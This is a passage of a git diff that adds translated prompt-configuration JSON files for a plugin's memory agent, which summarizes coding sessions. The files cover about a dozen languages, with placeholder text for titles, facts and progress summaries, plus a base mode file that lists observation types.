"xml_summary_notes_placeholder": "[Aanvullende inzichten of observaties over de huidige voortgang]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in Nederlands", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in Nederlands" + } +} diff --git a/plugin/modes/code--no.json b/plugin/modes/code--no.json new file mode 100644 index 00000000..b952cdf2 --- /dev/null +++ b/plugin/modes/code--no.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Norwegian)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in norsk", + + "xml_title_placeholder": "[**title**: Kort tittel som fanger kjernehandlingen eller emnet]", + "xml_subtitle_placeholder": "[**subtitle**: Forklaring i én setning (maksimalt 24 ord)]", + "xml_fact_placeholder": "[Kortfattet, selvstendig uttalelse]", + "xml_narrative_placeholder": "[**narrative**: Full kontekst: hva som ble gjort, hvordan det fungerer, hvorfor det er viktig]", + "xml_concept_placeholder": "[kunnskapstype-kategori]", + "xml_file_placeholder": "[sti/til/fil]", + + "xml_summary_request_placeholder": "[Kort tittel som fanger brukerens forespørsel og essensen av hva som ble diskutert/gjort]", + "xml_summary_investigated_placeholder": "[Hva har blitt utforsket så langt? Hva har blitt gjennomgått?]", + "xml_summary_learned_placeholder": "[Hva har du lært om hvordan ting fungerer?]", + "xml_summary_completed_placeholder": "[Hvilket arbeid har blitt fullført så langt? Hva har blitt levert eller endret?]", + "xml_summary_next_steps_placeholder": "[Hva jobber du aktivt med eller planlegger å jobbe med videre i denne økten?]", + "xml_summary_notes_placeholder": "[Ytterligere innsikter eller observasjoner om gjeldende fremgang]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in norsk", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in norsk" + } +} diff --git a/plugin/modes/code--pl.json b/plugin/modes/code--pl.json new file mode 100644 index 00000000..016953f8 --- /dev/null +++ b/plugin/modes/code--pl.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Polish)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in polski", + + "xml_title_placeholder": "[**title**: Krótki tytuł opisujący główne działanie lub temat]", + "xml_subtitle_placeholder": "[**subtitle**: Wyjaśnienie w jednym zdaniu (maksymalnie 24 słowa)]", + "xml_fact_placeholder": "[Zwięzłe, samodzielne stwierdzenie]", + "xml_narrative_placeholder": "[**narrative**: Pełny kontekst: co zostało zrobione, jak to działa, dlaczego jest ważne]", + "xml_concept_placeholder": "[kategoria-typu-wiedzy]", + "xml_file_placeholder": "[ścieżka/do/pliku]", + + "xml_summary_request_placeholder": "[Krótki tytuł opisujący żądanie użytkownika i istotę tego, co zostało omówione/zrobione]", + "xml_summary_investigated_placeholder": "[Co zostało zbadane do tej pory? Co zostało sprawdzone?]", + "xml_summary_learned_placeholder": "[Czego się nauczyłeś o tym, jak działają rzeczy?]", + "xml_summary_completed_placeholder": "[Jaka praca została ukończona do tej pory? Co zostało wdrożone lub zmienione?]", + "xml_summary_next_steps_placeholder": "[Nad czym aktywnie pracujesz lub planujesz pracować w tej sesji?]", + "xml_summary_notes_placeholder": "[Dodatkowe spostrzeżenia lub uwagi dotyczące obecnego postępu]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in polski", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in polski" + } +} diff --git a/plugin/modes/code--pt-br.json b/plugin/modes/code--pt-br.json new file mode 100644 index 00000000..1ed338b1 --- /dev/null +++ b/plugin/modes/code--pt-br.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Brazilian Portuguese)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in português", + + "xml_title_placeholder": "[**title**: Título curto capturando a ação principal ou tópico]", + "xml_subtitle_placeholder": "[**subtitle**: Explicação em uma frase (máximo 24 palavras)]", + "xml_fact_placeholder": "[Declaração concisa e autônoma]", + "xml_narrative_placeholder": "[**narrative**: Contexto completo: O que foi feito, como funciona, por que é importante]", + "xml_concept_placeholder": "[categoria-de-tipo-de-conhecimento]", + "xml_file_placeholder": "[caminho/para/arquivo]", + + "xml_summary_request_placeholder": "[Título curto capturando a solicitação do usuário E a substância do que foi discutido/feito]", + "xml_summary_investigated_placeholder": "[O que foi explorado até agora? O que foi examinado?]", + "xml_summary_learned_placeholder": "[O que você aprendeu sobre como as coisas funcionam?]", + "xml_summary_completed_placeholder": "[Que trabalho foi concluído até agora? O que foi entregue ou alterado?]", + "xml_summary_next_steps_placeholder": "[No que você está trabalhando ativamente ou planeja trabalhar a seguir nesta sessão?]", + "xml_summary_notes_placeholder": "[Insights adicionais ou observações sobre o progresso atual]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in português", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in português" + } +} diff --git a/plugin/modes/code--ro.json b/plugin/modes/code--ro.json new file mode 100644 index 00000000..d565d255 --- /dev/null +++ b/plugin/modes/code--ro.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Romanian)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in română", + + "xml_title_placeholder": "[**title**: Titlu scurt care surprinde acțiunea sau subiectul principal]", + "xml_subtitle_placeholder": "[**subtitle**: Explicație într-o propoziție (maxim 24 cuvinte)]", + "xml_fact_placeholder": "[Afirmație concisă și autonomă]", + "xml_narrative_placeholder": "[**narrative**: Context complet: ce s-a făcut, cum funcționează, de ce este important]", + "xml_concept_placeholder": "[categorie-tip-cunoștințe]", + "xml_file_placeholder": "[cale/către/fișier]", + + "xml_summary_request_placeholder": "[Titlu scurt care surprinde solicitarea utilizatorului și esența a ceea ce s-a discutat/făcut]", + "xml_summary_investigated_placeholder": "[Ce s-a explorat până acum? Ce s-a revizuit?]", + "xml_summary_learned_placeholder": "[Ce ai învățat despre modul în care funcționează lucrurile?]", + "xml_summary_completed_placeholder": "[Ce muncă a fost finalizată până acum? Ce a fost livrat sau modificat?]", + "xml_summary_next_steps_placeholder": "[La ce lucrezi activ sau plănuiești să lucrezi în continuare în această sesiune?]", + "xml_summary_notes_placeholder": "[Informații suplimentare sau observații despre progresul curent]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in română", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in română" + } +} diff --git a/plugin/modes/code--ru.json b/plugin/modes/code--ru.json new file mode 100644 index 00000000..274e5346 --- /dev/null +++ b/plugin/modes/code--ru.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Russian)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in русский", + + "xml_title_placeholder": "[**title**: Краткое название, отражающее основное действие или тему]", + "xml_subtitle_placeholder": "[**subtitle**: Объяснение одним предложением (максимум 24 слова)]", + "xml_fact_placeholder": "[Краткое, самостоятельное утверждение]", + "xml_narrative_placeholder": "[**narrative**: Полный контекст: Что было сделано, как это работает, почему это важно]", + "xml_concept_placeholder": "[категория-типа-знания]", + "xml_file_placeholder": "[путь/к/файлу]", + + "xml_summary_request_placeholder": "[Краткое название, отражающее запрос пользователя И суть того, что обсуждалось/делалось]", + "xml_summary_investigated_placeholder": "[Что было исследовано до сих пор? Что было рассмотрено?]", + "xml_summary_learned_placeholder": "[Что вы узнали о том, как все работает?]", + "xml_summary_completed_placeholder": "[Какая работа была выполнена до сих пор? Что было отправлено или изменено?]", + "xml_summary_next_steps_placeholder": "[Над чем вы активно работаете или планируете работать дальше в этой сессии?]", + "xml_summary_notes_placeholder": "[Дополнительные наблюдения или замечания о текущем прогрессе]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in русский", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in русский" + } +} diff --git a/plugin/modes/code--sv.json b/plugin/modes/code--sv.json new file mode 100644 index 00000000..d01ca1b4 --- /dev/null +++ b/plugin/modes/code--sv.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Swedish)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in svenska", + + "xml_title_placeholder": "[**title**: Kort rubrik som fångar kärnåtgärden eller ämnet]", + "xml_subtitle_placeholder": "[**subtitle**: Förklaring i en mening (högst 24 ord)]", + "xml_fact_placeholder": "[Koncist, fristående påstående]", + "xml_narrative_placeholder": "[**narrative**: Fullständigt sammanhang: vad som gjordes, hur det fungerar, varför det är viktigt]", + "xml_concept_placeholder": "[kunskapstyp-kategori]", + "xml_file_placeholder": "[sökväg/till/fil]", + + "xml_summary_request_placeholder": "[Kort rubrik som fångar användarens begäran och kärnan i vad som diskuterades/gjordes]", + "xml_summary_investigated_placeholder": "[Vad har utforskats hittills? Vad har granskats?]", + "xml_summary_learned_placeholder": "[Vad har du lärt dig om hur saker fungerar?]", + "xml_summary_completed_placeholder": "[Vilket arbete har slutförts hittills? Vad har levererats eller ändrats?]", + "xml_summary_next_steps_placeholder": "[Vad arbetar du aktivt med eller planerar att arbeta med härnäst i denna session?]", + "xml_summary_notes_placeholder": "[Ytterligare insikter eller observationer om nuvarande framsteg]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in svenska", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in svenska" + } +} diff --git a/plugin/modes/code--th.json b/plugin/modes/code--th.json new file mode 100644 index 00000000..541f96fe --- /dev/null +++ b/plugin/modes/code--th.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Thai)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in ภาษาไทย", + + "xml_title_placeholder": "[**title**: ชื่อสั้นที่จับประเด็นหลักหรือหัวข้อ]", + "xml_subtitle_placeholder": "[**subtitle**: คำอธิบายหึ่งประโยค (สูงสุด 24 คำ)]", + "xml_fact_placeholder": "[ข้อความที่กระชับและสมบูรณ์ในตัวเอง]", + "xml_narrative_placeholder": "[**narrative**: บริบทเต็มรูปแบบ: สิ่งที่ทำ, วิธีการทำงาน, เหตุผลที่สำคัญ]", + "xml_concept_placeholder": "[หมวดหมู่ประเภทความรู้]", + "xml_file_placeholder": "[เส้นทาง/ไปยัง/ไฟล์]", + + "xml_summary_request_placeholder": "[ชื่อสั้นที่จับคำขอของผู้ใช้และสาระสำคัญของสิ่งที่อภิปรายหรือทำ]", + "xml_summary_investigated_placeholder": "[สำรวจอะไรมาบ้างจนถึงตอนนี้? ตรวจสอบอะไรบ้าง?]", + "xml_summary_learned_placeholder": "[คุณได้เรียนรู้อะไรเกี่ยวกับวิธีการทำงานของสิ่งต่างๆ?]", + "xml_summary_completed_placeholder": "[งานอะไรเสร็จสมบูรณ์แล้วจนถึงตอนนี้? อะไรถูกส่งมอบหรือเปลี่ยนแปลง?]", + "xml_summary_next_steps_placeholder": "[คุณกำลังทำงานอะไรอย่างแข็งขันหรือวางแผนที่จะทำต่อไปในเซสชันนี้?]", + "xml_summary_notes_placeholder": "[ข้อมูลเชิงลึกเพิ่มเติมหรือข้อสังเกตเกี่ยวกับความคืบหน้าปัจจุบัน]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in ภาษาไทย", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in ภาษาไทย" + } +} diff --git a/plugin/modes/code--tr.json b/plugin/modes/code--tr.json new file mode 100644 index 00000000..dd9d062c --- /dev/null +++ b/plugin/modes/code--tr.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Turkish)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in Türkçe", + + "xml_title_placeholder": "[**title**: Ana eylemi veya konuyu özetleyen kısa başlık]", + "xml_subtitle_placeholder": "[**subtitle**: Tek cümlelik açıklama (maksimum 24 kelime)]", + "xml_fact_placeholder": "[Kısa ve bağımsız ifade]", + "xml_narrative_placeholder": "[**narrative**: Tam bağlam: ne yapıldı, nasıl çalışıyor, neden önemli]", + "xml_concept_placeholder": "[bilgi-türü-kategorisi]", + "xml_file_placeholder": "[dosya/yolu]", + + "xml_summary_request_placeholder": "[Kullanıcının talebini ve tartışılan/yapılan şeyin özünü özetleyen kısa başlık]", + "xml_summary_investigated_placeholder": "[Şu ana kadar ne araştırıldı? Ne incelendi?]", + "xml_summary_learned_placeholder": "[İşlerin nasıl çalıştığı hakkında ne öğrendiniz?]", + "xml_summary_completed_placeholder": "[Şu ana kadar hangi iş tamamlandı? Ne gönderildi veya değiştirildi?]", + "xml_summary_next_steps_placeholder": "[Bu oturumda aktif olarak üzerinde çalıştığınız veya çalışmayı planladığınız şey nedir?]", + "xml_summary_notes_placeholder": "[Mevcut ilerleme hakkında ek görüşler veya gözlemler]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in Türkçe", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in Türkçe" + } +} diff --git a/plugin/modes/code--uk.json b/plugin/modes/code--uk.json new file mode 100644 index 00000000..8623d49a --- /dev/null +++ b/plugin/modes/code--uk.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Ukrainian)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in українська", + + "xml_title_placeholder": "[**title**: Короткий заголовок, що описує основну дію або тему]", + "xml_subtitle_placeholder": "[**subtitle**: Пояснення в одному реченні (максимум 24 слова)]", + "xml_fact_placeholder": "[Стисле, самодостатнє твердження]", + "xml_narrative_placeholder": "[**narrative**: Повний контекст: що було зроблено, як це працює, чому це важливо]", + "xml_concept_placeholder": "[категорія-типу-знань]", + "xml_file_placeholder": "[шлях/до/файлу]", + + "xml_summary_request_placeholder": "[Короткий заголовок, що описує запит користувача та суть того, що обговорювалося/робилося]", + "xml_summary_investigated_placeholder": "[Що досліджено на даний момент? Що переглянуто?]", + "xml_summary_learned_placeholder": "[Що ви дізналися про те, як працюють речі?]", + "xml_summary_completed_placeholder": "[Яка робота завершена на даний момент? Що було відправлено або змінено?]", + "xml_summary_next_steps_placeholder": "[Над чим ви активно працюєте або плануєте працювати далі в цій сесії?]", + "xml_summary_notes_placeholder": "[Додаткові висновки або спостереження щодо поточного прогресу]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in українська", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in українська" + } +} diff --git a/plugin/modes/code--vi.json b/plugin/modes/code--vi.json new file mode 100644 index 00000000..c06e5578 --- /dev/null +++ b/plugin/modes/code--vi.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Vietnamese)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in tiếng Việt", + + "xml_title_placeholder": "[**title**: Tiêu đề ngắn gọn nắm bắt hành động hoặc chủ đề chính]", + "xml_subtitle_placeholder": "[**subtitle**: Giải thích một câu (tối đa 24 từ)]", + "xml_fact_placeholder": "[Tuyên bố ngắn gọn, độc lập]", + "xml_narrative_placeholder": "[**narrative**: Bối cảnh đầy đủ: Đã làm gì, hoạt động như thế nào, tại sao quan trọng]", + "xml_concept_placeholder": "[danh-mục-loại-kiến-thức]", + "xml_file_placeholder": "[đường/dẫn/tới/tệp]", + + "xml_summary_request_placeholder": "[Tiêu đề ngắn gọn nắm bắt yêu cầu của người dùng VÀ nội dung của những gì đã được thảo luận/thực hiện]", + "xml_summary_investigated_placeholder": "[Đã khám phá những gì cho đến nay? Đã kiểm tra những gì?]", + "xml_summary_learned_placeholder": "[Bạn đã học được gì về cách mọi thứ hoạt động?]", + "xml_summary_completed_placeholder": "[Công việc nào đã được hoàn thành cho đến nay? Những gì đã được chuyển giao hoặc thay đổi?]", + "xml_summary_next_steps_placeholder": "[Bạn đang tích cực làm việc hoặc lên kế hoạch làm việc tiếp theo trong phiên này là gì?]", + "xml_summary_notes_placeholder": "[Thông tin chi tiết bổ sung hoặc quan sát về tiến độ hiện tại]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in tiếng Việt", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in tiếng Việt" + } +} diff --git a/plugin/modes/code--zh.json b/plugin/modes/code--zh.json new file mode 100644 index 00000000..6ecda049 --- /dev/null +++ b/plugin/modes/code--zh.json @@ -0,0 +1,24 @@ +{ + "name": "Code Development (Chinese)", + "prompts": { + "footer": "IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations.\n\nRemember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help!\n\nLANGUAGE REQUIREMENTS: Please write the observation data in 中文", + + "xml_title_placeholder": "[**title**: 捕捉核心行动或主题的简短标题]", + "xml_subtitle_placeholder": "[**subtitle**: 一句话解释(最多24个单词)]", + "xml_fact_placeholder": "[简洁、独立的陈述]", + "xml_narrative_placeholder": "[**narrative**: 完整背景:做了什么、如何工作、为什么重要]", + "xml_concept_placeholder": "[知识类型类别]", + "xml_file_placeholder": "[文件路径]", + + "xml_summary_request_placeholder": "[捕捉用户请求和讨论/完成内容实质的简短标题]", + "xml_summary_investigated_placeholder": "[到目前为止探索了什么?检查了什么?]", + "xml_summary_learned_placeholder": "[你了解到了什么工作原理?]", + "xml_summary_completed_placeholder": "[到目前为止完成了什么工作?发布或更改了什么?]", + "xml_summary_next_steps_placeholder": "[在此会话中,你正在积极处理或计划接下来处理什么?]", + "xml_summary_notes_placeholder": "[关于当前进度的其他见解或观察]", + + "continuation_instruction": "IMPORTANT: Continue generating observations from tool use messages using the XML structure below.\n\nLANGUAGE REQUIREMENTS: Please write the observation data in 中文", + + "summary_footer": "IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one.\n\nNever reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content.\n\nThank you, this summary will be very useful for keeping track of our progress!\n\nLANGUAGE REQUIREMENTS: Please write ALL summary content (request, investigated, learned, completed, next_steps, notes) in 中文" + } +} diff --git a/plugin/modes/code.json b/plugin/modes/code.json new file mode 100644 index 00000000..9ec033c8 --- /dev/null +++ b/plugin/modes/code.json @@ -0,0 +1,125 @@ +{ + "name": "Code Development", + "description": "Software development and engineering work", + "version": "1.0.0", + "observation_types": [ + { + "id": "bugfix", + "label": "Bug Fix", + "description": "Something was broken, now fixed", + "emoji": "🔴", + "work_emoji": "🛠️" + }, + { + "id": "feature", + "label": "Feature", + "description": "New capability or functionality added", + "emoji": "🟣", + "work_emoji": "🛠️" + }, + { + "id": "refactor", + "label": "Refactor", + "description": "Code restructured, behavior unchanged", + "emoji": "🔄", + "work_emoji": "🛠️" + }, + { + "id": "change", + "label": "Change", + "description": "Generic modification (docs, config, misc)", + "emoji": "✅", + "work_emoji": "🛠️" + }, + { + "id": "discovery", + "label": "Discovery", + "description": "Learning about existing system", + "emoji": "🔵", + "work_emoji": "🔍" + }, + { + "id": "decision", + "label": "Decision", + "description": "Architectural/design choice with rationale", + "emoji": "⚖️", + "work_emoji": "⚖️" + } + ], + "observation_concepts": [ + { + "id": "how-it-works", + "label": "How It Works", + "description": "Understanding mechanisms" + }, + { + "id": "why-it-exists", + "label": "Why It Exists", + "description": "Purpose or rationale" + }, + { + "id": "what-changed", + "label": "What Changed", + "description": "Modifications made" + }, + { + "id": "problem-solution", + "label": "Problem-Solution", + "description": "Issues and their fixes" + }, + { + "id": "gotcha", + "label": "Gotcha", + "description": "Traps or edge cases" + }, + { + "id": "pattern", + "label": "Pattern", + "description": "Reusable approach" + }, + { + "id": "trade-off", + "label": "Trade-Off", + "description": "Pros/cons of a decision" + } + ], + "prompts": { + "system_identity": "You are a Claude-Mem, a specialized observer 